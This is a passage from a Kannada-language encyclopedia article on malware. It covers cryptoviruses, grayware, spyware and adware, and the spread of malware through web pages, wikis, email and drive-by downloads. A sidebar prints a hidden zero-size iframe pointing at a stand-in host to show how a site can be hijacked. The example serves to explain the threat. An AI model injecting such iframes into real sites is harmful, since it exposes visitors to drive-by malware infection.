ತಡೆ]]ಯನ್ನು ಆಧಾರವಾಗಿರಿಸಿಕೊಂಡಿದೆ. ಆದರೆ ಇದರಲ್ಲಿಯ ವ್ಯಂಗ್ಯವೇನೆಂದರೆ, ಇದನ್ನು ಮುಂದೆ ಯೂಂಗ್‌ ಮತ್ತು ಯಂಗ್‌ರು ಅಲ್ಡೆಮನ್‌ನ [[ಕ್ರಿಪ್ಟೊಗ್ರಫಿ]]ಯ ಕುರಿತಾದ ಕೆಲಸವು ವಿರುದ್ಧ ಇಂಜಿನಿಯರಿಂಗ್‌‌‍ ವಿರುದ್ಧ ಅತ್ಯುತ್ತಮ ನಿರೋಧಕ ಶಕ್ತಿಯನ್ನು ಹೊಂದಿರುವ ವೈರಸ್‌ ಹುಟ್ಟುಹಾಕಲು ಆದರ್ಶ ಸಿದ್ಧಾಂತವಾಗಿ ಬಳಸಬಹುದು ಎಂದು [[ಕ್ರಿಪ್ಟೊವೈರಸ್‌‍]] ಕುರಿತಾದ ಕಲ್ಪನೆಯನ್ನು ಮಂಡಿಸಿದರು.<ref>ಎ. ಯಂಗ್, ಎಮ್. ಯಂಗ್, "ಕ್ರೈಪ್ಟೊವಿರಾಲಜಿ: ಎಕ್ಸ್‌ಟೊರ್ಷನ್-ಬೇಸ್ಡ್ ಸೆಕ್ಯೂರಿಟಿ ಥ್ರೇಟ್ಸ್ ಆ‍ಯ್‌೦ಡ್ ಕೌಂಟರ್‌ಮೇಸರ್ಸ್," ಐಇಇಇ ಸಿಂಪೊಸಿಯಂ ಆನ್ ಸೆಕ್ಯೂರಿಟಿ &amp; ಪ್ರೆವಸಿ, pp. ೧೨೯-೧೪೧, ೧೯೯೬.</ref> ಕ್ರಿಪ್ಟೊವೈರಸ್‌ ಇದು ಒಂದು ವೈರಸ್‌ ಆಗಿದ್ದು ಇದು ಯಾದೃಚ್ಚಿಕವಾಗಿ ಸಾರ್ವಜನಿಕ ಕೀ ಮತ್ತು [[ಸಿಮೆಟ್ರಿಕ್‌ ಸೈಫರ್‌]]‍ [[ಇನಿಷಿಯಲೈಸೇಷನ್‌ ವೆಕ್ಟರ್‌]]‍ (IV) ಮತ್ತು [[ಸೆಷನ್‌ ಕೀ]] (SK)ಯನ್ನು ಬಳಸಿಕೊಳ್ಳುತ್ತದೆ. ಕ್ರಿಫ್ಟೊವೈರಲ್‌ ಒತ್ತಾಯದ ಆಕ್ರಮಣದಲ್ಲಿ ವೈರಸ್ ತುತ್ತಾದ ಗಣಕದಲ್ಲಿಯ [[ಸಾಮಾನ್ಯ ಪಠ್ಯ]]ದ ದತ್ತಾಂಶಗಳನ್ನು ಯಾದೃಚ್ಚಿಕವಾಗಿ ಹುಟ್ಟು ಹಾಕಲಾದ IV ಮತ್ತು SKಗಳ ಮೂಲಕ ಗೂಢ ಲಿಪೀಕರಣಗೊಳಿಸಲಾಗುತ್ತದೆ. ನಂತರ IV+SKಗಳನ್ನು ವೈರಸ್‌ ಬರವಣಿಗೆಗಾರನ [[ಸಾರ್ವಜನಿಕ ಕೀ]]ಯನ್ನು ಬಳಸುವ ಮೂಲಕ ಗೂಢ ಲಿಪೀಕರಣಗೊಳಿಸಲಾಗುತ್ತದೆ. ಈ ಸಿದ್ಧಾಂತದಲ್ಲಿ ಬಲಿಪಶುವು ವೈರಸ್‌ ಬರೆದವನಲ್ಲಿ ಸಂಧಾನ ಮಾಡಿಕೊಳ್ಳುವ ಮೂಲಕ [[ಸೈಪರಟೆಕ್ಸ್ಟ್‌]] ಅನ್ನು ಡಿಕ್ರಿಪ್ಟ್ ಮಾಡುವ ಸಲುವಾಗಿ IV+SKಯನ್ನು ಹಿಂಪಡೆಯಬೇಕಾಗುತ್ತದೆ. (ಯಾವುದೇ ಬ್ಯಾಕ್‌ಅಪ್‌ ಅನ್ನು ಉಳಿಸಿಕೊಂಡಿಲ್ಲ ಎಂದು ಊಹಿಸುತ್ತಾ) ವೈರಸ್‌ನ ವಿಶ್ಲೇಷಣೆಯು ಸಾರ್ವಜನಿಕ ಕೀಯನ್ನು ಬಹಿರಂಗಪಡಿಸುತ್ತದೆ, ಆದರೆ IV ಮತ್ತು SKಗಳನ್ನು ಪಡೆಯಲು ಡಿಕ್ರಿಪ್ಷನ್‌ ಅಗತ್ಯವಿರುತ್ತದೆ. ಇದರ ಫಲಿತಾಂಶವು ಮೊಟ್ಟಮೊದಲು [[ಕಂಪ್ಯೂಟೇಷನಲ್‌ ಕಾಂಪ್ಲೆಕ್ಸಿಟಿ ಸಿದ್ಧಾಂತ]]ವನ್ನು ವಿರುದ್ಧ ಇಂಜಿನಿಯರಿಂಗ್‌ಗೆ ದೃಢ ವಿರೋಧ ವ್ಯಕ್ತಪಡಿಸುವ ಮಾಲ್‌ವೇರ್‌ ಅನ್ನು ಕಂಡುಹಿಡಿಯಲು ಬಳಸಬಹುದೆಂದು ತೋರಿಸಿಕೊಟ್ಟಿತು. ಗಣಕ ವೈರಸ್ ಸಂಶೋಧನೆಯ ಇನ್ನೊಂದು ಬೆಳವಣಿಗೆಯ ಕ್ಷೇತ್ರವೆಂದರೆ [[ಲೊಕ್ಟಾ-ವೊಲ್ಟೆರಾ ಸಮೀಕರಣ]]ವನ್ನು ಬಳಸಿ ಗಣಿತದ ಮಾದರಿಗಳನ್ನು ಸೃಷ್ಟಿಸುವ ಮೂಲಕ ವರ್ಮ್‌ಗಳ ನಡತೆಗಳನ್ನು ಪಟ್ಟಿಮಾಡುವುದು, ಇದನ್ನು ಜೈವಿಕ ವೈರಸ್‌ಗಳನ್ನು ಅಧ್ಯಯನ ಮಾಡುವಾಗ ಬಳಸಲಾಗುತ್ತದೆ. ಹಲವಾರು ವೈರಸ್‌ಗಳ ಪುನರುತ್ಪತ್ತಿ ಮಾದರಿಯನ್ನು ಹಲವಾರು ಸಂಶೋಧಕರು ಅಧ್ಯಯನ ಮಾಡಿದ್ದಾರೆ. ಅವುಗಳಲ್ಲಿ ಗಣಕ ವೈರಸ್‌ನ ಪುನರುತ್ಪತ್ತಿ, ಪ್ರಿಡೇಟರ್‌ ಕೋಡ್‌ಗಳು‌<ref>ಹೆಚ್. ಟೊಯೊಜುಮಿ, ಎ. ಕರಾ. ಪ್ರಿಡೇಟರ್ಸ್: ಗುಡ್ ವಿಲ್ ಮೊಬೈಲ್ ಕೋಡ್ಸ್ ಕಾಂಬಾಟ್ ಎಗೈನಸ್ಟ್ ಕಂಪ್ಯೂಟರ್ ವೈರಸಸ್. ಪ್ರೊಕ್. ಆಫ್ ದಿ 2002 ನ್ಯೂ ಸೆಕ್ಯೂರಿಟಿ ಪ್ಯಾರಾಡಿಮ್ಸ್ ವರ್ಕ್‌ಶಾಪ್, ೨೦೦೨</ref><ref>ಜಾಕಿಯಾ ಎಂ. ಟಾಮಿಮಿ, ಜಾವೆದ್ ಐ. ಖಾನ್, [http://www.medianet.kent.edu/publications/ICCCE06DL-2virusabstract-TK.pdf ಮಾಡೆಲ್-ಬೇಸ್ಡ್ ಅನಾಲಿಸಿಸ್ ಆಫ್ ಟು ಪೈಟಿಂಗ್ ವಾರ್ಮ್ಸ್], ಐಇಇಇ/ಐಐಯು Proc. ಆಫ್ ಐಸಿಸಿಸಿಇ '೦೬, ಕೌಲಾ ಲಂಪುರ್, ಮಲೇಷಿಯಾ, ಮೇ ೨೦೦೬, ಸಂಪುಟ-I, p. ೧೫೭-೧೬೩.</ref> ರೀತಿಯ ವೈರಸ್‌ ವಿರುದ್ಧ ವೈರಸ್‌ಗಳ ಹೋರಾಟ, ಪ್ಯಾಚಿಂಗ್‌ನ ಪರಿಣಾಮ ಮುಂತಾದವುಗಳು ಸೇರಿವೆ. == ಗ್ರೇ ವೇರ್ == ಗ್ರೇವೇರ್<ref name="term">{{cite web | accessdate=2007-01-20 | url=http://mpc.byu.edu/Exhibitions/Of%20Earth%20Stone%20and%20Corn/Activities/Native%20American%20Pottery.dhtml | title=Other meanings | archive-date=2007-06-30 | archive-url=https://web.archive.org/web/20070630152901/http://mpc.byu.edu/Exhibitions/Of+Earth+Stone+and+Corn/Activities/Native+American+Pottery.dhtml | url-status=dead }}ಗ್ರೇವೇರ್ ಅನ್ನು ಮೂಲ ಅಮೇರಿಕನ್ನರ ಮಣ್ಣಿನ ಪಾತ್ರೆಯನ್ನು ವರ್ಣಿಸುವಂತೆಯೂ ಸಹ ಬಳಸಲಾಗಿದೆ ಮತ್ತು ಮಾನವನ ಮೆದುಳಿಗೆ ಆಡುಭಾಷೆಯಂತಿರುವ ಕಂಪ್ಯೂಟರ್ ತಂತ್ರಜ್ಞಾನದಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿರುವುದರಿಂದಲೂ ಸಹ ಬಳಸಲಾಗಿದೆ.{{cite web | accessdate=2007-01-02 | url=http://www.techweb.com/encyclopedia/defineterm.jhtml?term=grayware | title=grayware definition | publisher=TechWeb.com }} {{cite web | accessdate=2007-01-02 | url=http://www.techweb.com/encyclopedia/defineterm.jhtml?term=grayware | title=grayware definition | publisher=TechWeb.com }}</ref> (ಗ್ರೆವೇರ್)ಅನ್ನುವುದು ಸಾಮಾನ್ಯ ಹೆಸರಾಗಿದ್ದು, ಇದನ್ನು ಕೆಲವು ಸಂದರ್ಭದಲ್ಲಿ, ಕಿರಿಕಿರಿವುಂಟು ಮಾಡುವ ಅಥವಾ ಅನಪೇಕ್ಷಣೀಯ ಮತ್ತು ಮಾಲ್‌ವೇರ‍್ಗಿಂತ ಕಡಿಮೆ ಗಂಭೀರವಾಗಿರುವ ಅಥವಾ ಕಡಿಮೆ ತೊಂದರೆಗೀಡು ಮಾಡುವ ಅಪ್ಲಿಕೇಶನ್‌ಗಳ ವರ್ಗೀಕರಣವನ್ನು ಸೂಚಿಸಲು ಬಳಸಲಾಗುತ್ತದೆ.<ref name="webopedia">{{cite web | title=Greyware| work=What is greyware? - A word definition from the Webopedia Computer Dictionary | url=http://webopedia.com/TERM/g/greyware.html | accessdate=2006-06-05}}</ref> ಸ್ಪೈವೇರ್, ಆ‍ಯ್‌ಡ್‌ವೇರ್, ಡೈಲರ್ಸ್, ಜೋಕ್ ಪ್ರೊಗ್ರಾಮ್ಸ್, ಪರೋಕ್ಷ ಪ್ರವೇಶಾಧಿಕಾರ ಪಡೆಯಬಲ್ಲ ಟೂಲ್‌ಗಳು ಮತ್ತು ಯಾವುದೇ ಇತರೆ ಸ್ವಾಗತಾರ್ಹವಲ್ಲದ ಕಡತಗಳು ಮತ್ತು ವೈರಸ್‌ಗಳನ್ನು ಬಿಟ್ಟು ನಿಮ್ಮ ನೆಟ್‌ವರ್ಕ್‌ನಲ್ಲಿ ಕಂಪ್ಯೂಟರ್ಯಂತ್ರದ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಹಾನಿಗೀಡು ಮಾಡುವಂತೆ ವಿನ್ಯಾಸಗೊಂಡಿರುವ ಪ್ರೊಗ್ರಾಂಗಳನ್ನು ಗ್ರೇವೇರ್ ಒಳಗೊಂಡಿರುತ್ತದೆ. ಈ ಹೆಸರು ಸೆಪ್ಟೆಂಬರ್ ೨೦೦೪ರ ಆರಂಭದಿಂದಲೂ ಬಳಕೆಯಲ್ಲಿದೆ.<ref>{{cite web | url=http://www.computerweekly.com/Articles/2004/09/28/205554/the-network-clampdown.htm | title=The network clampdown | accessdate=2007-01-20 | author=Antony Savvas |publisher=Computer Weekly}}</ref> ಗ್ರೇವೇರ್ ವೈರಸ್‌ಗಳು ಅಥವಾ [[ಟ್ರೊಜನ್ ಹಾರ್ಸ್‌]] ಪ್ರೊಗ್ರಾಂಗಳಾಗಿ ವರ್ಗೀಕರಣಗೊಂಡಿರದ ಅಪ್ಲಿಕೇಶನ್ಸ್ ಅಥವಾ ಕಡತಗಳ ಕುರಿತು ಹೇಳುತ್ತದೆ. ಆದರೂ ಇವು ನಿಮ್ಮ ನೆಟ್‍ವರ್ಕ್‌ನಲ್ಲಿನ ಕಂಪ್ಯೂಟರ್ದ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ನಕರಾತ್ಮಕವಾಗಿ ಪ್ರಭಾವಿಸುತ್ತದೆ ಮತ್ತು ನಿಮ್ಮ ಸಂಸ್ಥೆಯ ಭದ್ರತೆಗೆ ಸಂಬಂಧಿಸಿದ ಪ್ರಮುಖ ಅಪಾಯಗಳಿಗೆ ಈಡುಮಾಡುತ್ತದೆ.<ref>{{cite web | url=http://www.boll.ch/fortinet/assets/Grayware.pdf | title=Fortinet WhitePaper Protecting networks against spyware, adware and other forms of grayware | accessdate=2007-01-20 | format=PDF }}</ref> ಆಗಾಗ ಗ್ರೇವೇರ್ ವಿವಿಧ ಅನಪೇಕ್ಷಿತ ಕಾರ್ಯಗಳನ್ನು ನಿರ್ವಹಿಸುತ್ತದೆ, ಅವುಗಳೆಂದರೆ [[ಪಾಪ್-ಅಪ್]] ವಿಂಡೋಸ್‌‌ಗಳ ಮೂಲಕ ಬಳಕೆದಾರರಿಗೆ ಕಿರಿಕಿರಿವುಂಟು ಮಾಡುವುದು, ಬಳಕೆದಾರ ಹವ್ಯಾಸಗಳನ್ನು ಹಿಂಬಾಲಿಸುವುದು ಮತ್ತು ಕಂಪ್ಯೂಟರ್ವನ್ನು ಆಕ್ರಮಣಕ್ಕೀಡು ಮಾಡಬಹುದಾದ ಸಾಧ್ಯತೆಗಳನ್ನು ಅನವಶ್ಯಕವಾಗಿ ತೋರಿಸುತ್ತದೆ. * [[ಸ್ಪೈವೇರ್]] ಒಂದು ತಂತ್ರಾಂಶವಾಗಿದ್ದು, ಅದು ಅಂತರಜಾಲ ಹುಡುಕಾಟದ ಅಭ್ಯಾಸಗಳನ್ನು ದಾಖಲಿಸುವ ಉದ್ದೇಶಕ್ಕಾಗಿ ಘಟಕಗಳನ್ನು ಗಣಕದಲ್ಲಿ ಅಳವಡಿಸುತ್ತದೆ (ಮುಖ್ಯವಾಗಿ ಮಾರುಕಟ್ಟೆ ಉದ್ದೇಶಗಳಿಗೆ). ಸ್ಪೈವೇರ್ ಈ ಮಾಹಿತಿಯನ್ನು ಕಂಪ್ಯೂಟರ್ ಆನ್‌ಲೈನ್‌ನಲ್ಲಿದ್ದಾಗ ತನ್ನ ಸೃಷ್ಟಿಕರ್ತ ಅಥವಾ ಇನ್ನಿತರ ಆಸಕ್ತಿಯುತ ಗುಂಪುಗಳಿಗೆ ರವಾನಿಸುತ್ತದೆ. ಸ್ಪೈವೇರುಗಳು ಹಲವು ಬಾರಿ ’ಉಚಿತ ಡೌನ್‌ಲೋಡ್‌ಗಳು’ ಎಂದು ಗುರುತಿಸಲ್ಪಡುವ ಘಟಕಗಳ ಜೊತೆ ಡೌನ್‌ಲೋಡ್ ಆಗುತ್ತವೆ ಮತ್ತು ತನ್ನ ಅಸ್ತಿತ್ವದ ಬಗ್ಗೆ ಬಳಕೆದಾರಿಗೆ ಸೂಚಿಸುವುದಿಲ್ಲ ಅಥವಾ ಘಟಕಗಳನ್ನು ಅಳವಡಿಸಿಕೊಳ್ಳಲು ಅನುಮತಿ ಕೇಳುವುದಿಲ್ಲ. ಸ್ಪೈವೇರ್ ಘಟಕಗಳು ಸಂಗ್ರಹಿಸುವ ಮಾಹಿತಿಗಳಲ್ಲಿ ಬಳಕೆದಾರನ ಕೀಸ್ಟ್ರೋಕ್‌ಗಳು ಸೇರಿರುತ್ತವೆ. ಅಂದರೆ ಖಾಸಗಿ ಮಾಹಿತಿಗಳಾದ ಲಾಗಿನ್‌ ಹೆಸರುಗಳು, ಪಾಸ್‌ವರ್ಡ್‌ಗಳು ಮತ್ತು ಕ್ರೆಡಿಟ್ ಕಾರ್ಡ್ ಸಂಖ್ಯೆಗಳನ್ನು ಸುಲಭವಾಗಿ ಕದಿಯಬಹುದಾಗಿದೆ. ಸ್ಪೈವೇರ್ ದತ್ತಾಂಶಗಳನ್ನು ಸಂಗ್ರಹಿಸುತ್ತದೆ. ಉದಾಹರಣೆಗೆ ಖಾತೆ ಬಳಕೆದಾರರ ಹೆಸರು, ಪಾಸ್‌ವರ್ಡ್ಸ್, ಕ್ರೆಡಿಟ್ ಕಾರ್ಡ್ ಸಂಖ್ಯೆಗಳು ಮತ್ತು ಇತರೆ ರಹಸ್ಯ ಮಾಹಿತಿಗಳು ಮತ್ತು ಅದನ್ನು ಮೂರನೇ ವ್ಯಕ್ತಿಗೆ ವರ್ಗಾಯಿಸುತ್ತದೆ. * [[ಆ‍ಯ್‌ಡ್‌‍ವೇರ್]] ಒಂದು ತಂತ್ರಾಂಶವಾಗಿದ್ದು, ಇದು ಜಾಹೀರಾತು ಬ್ಯಾನರುಗಳನ್ನು ಜಾಲತಾಣಗಳ ಬ್ರೊಸರ್‌ಗಳಾದ ಇಂಟರ್‍ನೆಟ್ ಎಕ್ಸ್‌ಪ್ಲೋರರ್ ಮತ್ತು ಮೊಜಿಲ್ಲಾ ಫೈರ್‌ಫೊಕ್ಸ್ ಇವುಗಳಲ್ಲಿ ಪ್ರದರ್ಶಿಸುತ್ತದೆ. ಇದನ್ನು ಮಾಲ್‌ವೇರ್ ಎಂದು ವಿಂಗಡಿಸಲಾಗದಿದ್ದರೂ,ಹಲವು ಬಳಕೆದಾರರು ಇದನ್ನು ಆಕ್ರಮಣಶೀಲ ಎಂದೇ ಪರಿಗಣಿಸುತ್ತಾರೆ. ಆ‍ಯ್‌ಡ್‌‍ವೇರ್ ಪ್ರೊಗ್ರಾಮುಗಳು ಸಿಸ್ಟಮಿನಲ್ಲಿ ಬಹಳ ಸಲ ಅನಪೇಕ್ಷಿತ ಪರಿಣಾಮಗಳನ್ನು ಉಂಟು ಮಾಡುತ್ತವೆ. ಹೇಗೆಂದರೆ ಪೊಪ್ ಅಪ್ ಜಾಹೀರಾತುಗಳಿಂದ ಕಿರಿಕಿರಿಯನ್ನು ಮಾಡುವುದು ಮತ್ತು ನೆಟ್‌ವರ್ಕಿನ ಸಂಪರ್ಕ ಅಥವಾ ಸಿಸ್ಟಮ್‌ನ ಕಾರ್ಯಾಚರಣೆಯನ್ನು ಕುಂಠಿತಗೊಳಿಸುವುದು. ಆ‍ಯ್‌ಡ್‌‍ವೇರ್ ಪ್ರೊಗ್ರಾಮ್‌ಗಳು ಕೆಲವು ಉಚಿತ ತಂತ್ರಾಂಶಗಳ ಜೊತೆ ಸೇರಿಕೊಂಡು ಪ್ರತ್ಯೇಕ ಪ್ರೊಗ್ರಾಮ್‌ಗಳೆಂದು ವಿಶಿಷ್ಟವಾಗಿ ಸ್ಥಾಪನೆಯಾಗುತ್ತವೆ. ಹಲವು ಬಳಕೆದಾರರು ಉಚಿತ ತಂತ್ರಾಂಶದ[[ಎಂಡ್ ಯುಸರ್ ಲೈಸನ್ಸ್ ಅಗ್ರಿಮೆಂಟ್ (EULA)]] ಅನ್ನು ಒಪ್ಪಿಕೊಳ್ಳುವಾಗ ಅದರ ಜೊತೆ ಆ‍ಯ್‌ಡ್‌‍ವೇರ್ ಸ್ಥಾಪನೆಗೊಳ್ಳಲೂ ಸಹ ವಿವೇಚಿಸದೆ ಒಪ್ಪಿಗೆಯನ್ನು ಸೂಚಿಸಿಬಿಡುತ್ತಾರೆ. ಆ‍ಯ್‌ಡ್‌‍ವೇರ್ ಹಲವು ಬಾರಿ ಸ್ಪೈವೇರ್ ಪ್ರೋಗ್ರಾಮ್‌ಗಳ ಸಾಲಿನಲ್ಲಿ ತಾನೂ ಸೇರಿಕೊಂಡು ಸ್ಥಾಪನೆಗೊಳ್ಳುತ್ತದೆ. ಇವೆರಡೂ ಪ್ರೋಗ್ರಾಮ್‌ಗಳು ಒಬ್ಬರಿಗೊಬ್ಬರಿಗೆ ತಮ್ಮ ಕಾರ್ಯಸೂಚಿಗಳನ್ನು ಹಂಚಿಕೊಳ್ಳುತ್ತವೆ. ಸ್ಪೈವೇರ್ ಪ್ರೊಗ್ರಾಮ್‌ಗಳು ಬಳಕೆದಾರನ ಅಂತರಜಾಲ ಸಂಬಂಧಿ ಚಟುವಟಿಕೆಗಳಿಂದ ಆತನ ವ್ಯಕ್ತಿಚಿತ್ರಣವನ್ನು ತಯಾರಿಸುತ್ತದೆ ಮತ್ತು ಆ‍ಯ್‌ಡ್‌‍ವೇರ್ ಪ್ರೊಗ್ರಾಮ್‌ಗಳು ಸಂಗ್ರಹಿಸಿದ ಆತನ ವ್ಯಕ್ತಿಚಿತ್ರಕ್ಕೆ ಸರಿ ಹೊಂದುವ ಜಾಹೀರಾತುಗಳನ್ನು ಪ್ರದರ್ಶಿಸುತ್ತವೆ. == ಜಾಲ ಮತ್ತು ಸ್ಪಾಮ್ == <div style="margin:1% 0 1% 1%;padding:0.5%;width:30%;border:1px solid #bbb;float:right;font-family:monospace;font-size:90%"><pre> <iframe src="http://example.net/out.ph p?s_id=11" width=0 height=0 /></pre> <span style="font:90% sans-serif">ಒಂದು ವೇಳೆ ಮಧ್ಯಪ್ರವೇಶಕ ಜಾಲತಾಣದ ಪ್ರವೇಶಾಧಿಕಾರವನ್ನು ಹೊಂದಲು ಸಾದ್ಯವಾದರೇ,ಅದನ್ನು ಕೇವಲ ಒಂದು HTML ಮೂಲಾಂಶದ ಸಹಾಯದಿಂದ ಅಪಹರಣ ಮಾಡಬಹುದು.<ref>{{cite video|people=Zittrain, Jonathan (Mike Deehan, producer)|title=Berkman Book Release: The Future of the Internet - And How to Stop It|location=Cambridge, MA, USA|url=http://cyber.law.harvard.edu/interactive/events/2008/04/zittrain|medium=video/audio|publisher=Berkman Center, The President and Fellows of Harvard College|date=2008-04-17|accessdate=2008-04-21|archive-date=2008-05-13|archive-url=https://web.archive.org/web/20080513022809/http://cyber.law.harvard.edu/interactive/events/2008/04/zittrain|url-status=dead}}</ref></span></div> [[ವರ್ಲ್ಡ್ ವೈಡ್ ವೆಬ್]] ಅಪರಾಧಿಗಳಿಗೆ ಮಾಲ್‌ವೇರನ್ನು ಪಸರಿಸಲು ಹೇಳಿ ಮಾಡಿಸಿದಂತಹ ಹೆದ್ದಾರಿಯಾಗಿದೆ. ಇವತ್ತಿನ [[ಜಾಲಭೀತಿ]]ಗಳು ಮಾಲ್‌ವೆರಿನ ಸಂಯೋಜನೆಗಳನ್ನು ಬಳಸಿಕೊಂಡು ಸೋಂಕಿನ ಸರಪಳಿಗಳನ್ನು ಹುಟ್ಟುಹಾಕುತ್ತಿವೆ. ಹತ್ತರಲ್ಲಿ ಒಂದು ಜಾಲಪುಟವು ದುರಾಗ್ರಹದ ಕೋಡ್‌ಅನ್ನು ಹೊಂದಿರಬಹುದು.<ref>{{cite news|title=Google searches web's dark side|url=http://news.bbc.co.uk/2/hi/technology/6645895.stm|date=May 11, 2007|publisher=BBC News|accessdate=2008-04-26}}</ref> === ವಿಕಿಗಳು ಮತ್ತು ಬ್ಲಾಗುಗಳು === ನಿರ್ಬಾಧಕ ವಿಕಿಗಳು ಮತ್ತು ಬ್ಲಾಗುಗಳು ಅಪಹರಣಗಳಿಗೆ ನಿರೋಧಕವಾಗಿಲ್ಲ. ಮೊನ್ನೆ ತಾನೇ ವಿಕಿಪಿಡಿಯಾದ ಜರ್ಮನ್ ಅವತರಣಿಕೆಯನ್ನು ವೆಕ್ಟರ್ ಸೋಂಕು ಹರಡಲು ಬಳಸಲಾಗಿತ್ತು ಎಂದು ವರದಿಯಾಗಿತ್ತು.{{By whom|date=December 2009}} [[ಸಾಮಾಜಿಕ ಇಂಜಿನಿಯರಿಂಗ್]] ಎಂಬ ರೂಪದಲ್ಲಿ, ಹಾನಿಯೆಸಗುವ ಆಶಯದಿಂದ ಬಳಕೆದಾರರು ದುರಾಗ್ರಹದ ತಂತ್ರಾಂಶವನ್ನು ಉಳ್ಳ ಜಾಲಕೊಂಡಿಗಳನ್ನು ಜಾಲಪುಟಕ್ಕೆ ಸೇರಿಸಿದ್ದರು. ಈ ಜಾಲಕೊಂಡಿಗಳು ತಾನು ಹೊಂದಿದ ಜಾಲಪುಟವು, ಜಾಲತಾಣವನ್ನು ರಕ್ಷಿಸಲು ಪತ್ತೆದಾರಿಕೆ ಮತ್ತು ಚಿಕತ್ಸೆಯ ಸೇವೆಯನ್ನು ನೀಡುತ್ತೇವೆ ಎಂದು ಹೇಳಿಕೊಂಡಿದ್ದು, ಬದಲಿಗೆ ಇದು ಸೋಕನ್ನು ಹರಡಲು ಉಪಯೋಗಿಸಿದ ಆಕರ್ಷಣೆ ಮಾತ್ರವಾಗಿತ್ತು.<ref>{{Cite web |url=http://www.tech2.com/india/news/telecom/wikipedia-hijacked-to-spread-malware/2667/0 |title=ವಿಕಿಪಿಡಿಯಾ ಹೈಜಾಕ್ಡ್ ಟು ಸ್ಪ್ರೆಡ್ ಮಾಲ್‌ವೇರ್ |access-date=2009-12-30 |archive-date=2008-09-25 |archive-url=https://web.archive.org/web/20080925232323/http://www.tech2.com/india/news/telecom/wikipedia-hijacked-to-spread-malware/2667/0 |url-status=dead }}</ref> === ಗುರಿಯಿಟ್ಟ ಎಸ್‌ಎಮ್‌ಟಿಪಿ ಭೀತಿಗಳು === ಗುರಿಯಿಟ್ಟ [[ಎಸ್‌ಎಮ್‌ಟಿಪಿ]] ಭೀತಿಗಳು ತಮ್ಮ ಮೂಲಕ ಮಾಲ್‌ವೇರ್‌ಗಳು ವ್ಯಾಪಕವಾಗಿ ಹರಡಬಲ್ಲ, ಈಗ ತಾನೇ ಬೆಳಕಿಗೆ ಬರುತ್ತಿರುವ ಆಕ್ರಮಣಕಾರ ವೆಕ್ಟರನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತವೆ. ಬಳಕೆದಾರ ವಿಸ್ತಾರವಾದ [[ಸ್ಪಾಮ್]] ಆಕ್ರಮಣಕ್ಕೆ ಹೊಂದಿಕೊಂಡಾಗ, ಸೈಬರ್ ಅಪರಾಧಿಗಳು ಹಣಕಾಸಿನ ಲಾಭವನ್ನು ಪಡೆಯಲು ನಿಗದಿತ ಸಂಸ್ಥೆ ಅಥವಾ ಉದ್ದಿಮೆಯನ್ನು ಗುರಿಯಿಟ್ಟುಕೊಂಡು [[ಕ್ರೈಮ್‌ವೇರ್]] ಅನ್ನು ಹರಡುತ್ತಾರೆ.<ref>[https://web.archive.org/web/20120121024839/http://www.avinti.com/download/market_background/whitepaper_email_crimeware_protection.pdf "ಪ್ರೊಟೆಕ್ಟಿಂಗ್ ಕಾರ್ಪೊರೆಟ್ ಅಸ್ಸೆಟ್ಸ್ ಫ್ರಮ್ ಇ-ಮೇಲ್ ಕ್ರೈಮ್‌ವೇರ್," ಅವಿಂಟಿ, Inc., p.1]</ref> === ಎಚ್‌ಟಿಟಿಪಿ ಮತ್ತು ಎಫ್‌ಟಿಪಿ === "ಡ್ರೈವ್-ಬೈ" ಡೌನ್‌ಲೋಡ್ ಮುಖಾಂತರ ಬರುವ ಸೋಂಕುಗಳು [[ಅಂತರಜಾಲ]]ದಲ್ಲಿ [[ಎಚ್‌ಟಿಟಿಪಿ]] ಮತ್ತು [[ಎಫ್‌ಟಿಪಿ]] ಮೂಲಕ ಹರಡುತ್ತವೆ. ಯಾವಾಗ ಶಾಸನಬದ್ಧ ಸರ್ಚ್‌ ಇಂಜಿನ್‌ಗಳು ಕೃತಕ ಮೂಲಪದಗಳನ್ನು ಒಳಗೊಂಡಿರುವ ಸಂಪನ್ಮೂಲಗಳನ್ನು ಸೂಚಿಸಲ್ಪಡುತ್ತವೆಯೋ, ಜೊತೆ ಜೊತೆಗೆ ಶಾಸನಬದ್ಧ ಜಾಲತಾಣಗಳು ಮತ್ತು ಜಾಹಿರಾತು ಸಂಪರ್ಕ ಜಾಲಗಳಿಗೆ ಜಾವಾಸ್ಕ್ರಿಪ್ಟ್‌ನ್ನು ರಹಸ್ಯವಾಗಿ ಅಳವಡಿಸುತ್ತವೆ.<ref>{{cite press release|title=F-Secure Quarterly Security Wrap-up for the first quarter of 2008|url=http://www.f-secure.com/f-secure/pressroom/news/fsnews_20080331_1_eng.html|publisher=F-Secure|date=March 31, 2008|accessdate=2008-03-31}}</ref> == ಇದನ್ನೂ ಗಮನಿಸಿ == * [[ಬ್ರೌಸರ್ ದುರ್ಬಳಕೆ]] * [[:ವರ್ಗ:Web security exploits]] * [[ಕಂಪ್ಯೂಟರ್ ಅಪರಾಧ]] * [[ಕಂಪ್ಯೂಟರ್ ಅಸುರಕ್ಷತೆ]] * [[ಸೈಬರ್ ಗೂಢಚಾರಿಕೆ]] * [[ಫೈರ್‌ವಾಲ್ (ಸಂಪರ್ಕ ಜಾಲ)]] * [[ಗೋಪ್ಯತೆ-ಆಕ್ರಮಣಶೀಲ ತಂತ್ರಾಂಶ]] * [[ಸವಲತ್ತು ಏರಿಕೆ]] * [[ವೆಬ್ ಅಪ್ಲಿಕೇಶನ್‌ನ ಭದ್ರತೆ]] * [[ಸಾಮಾಜಿಕ ಇಂಜಿನಿಯರಿಂಗ್(ಭದ್ರತೆ)]] * [[ಗೂಢಚಾರ ತಂತ್ರಾಂಶ]] * [[ಗುರಿಯಿಟ್ಟ ಭೀತಿಗಳು]] * [[ವೈರಸ್‌ಲಿಸ್ಟ್.ಕಾಂ]] * [[ವೆಬ್ ಸರ್ವರ್ ಓವರ್ಲೋಡ್ ಕಾರಣಗಳು]] * [[ವೈಟ್ ಕಾಲರ್ ಅಪರಾಧ]] == ಉಲ್ಲೇಖಗಳು == {{reflist|2}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Wiktionary|malware}} * {{wikia|malware|Malware Wiki}} * [http://www.antiphishing.org/reports/APWG_CrimewareReport.pdf ಯುಎಸ್ ಡಿಪಾರ್ಟ್‌ಮೆಂಟ್ ಆಫ್ ಹೋಮ್‌ಲ್ಯಾಂಡ್ ಸೆಕ್ಯೂರಿಟಿ 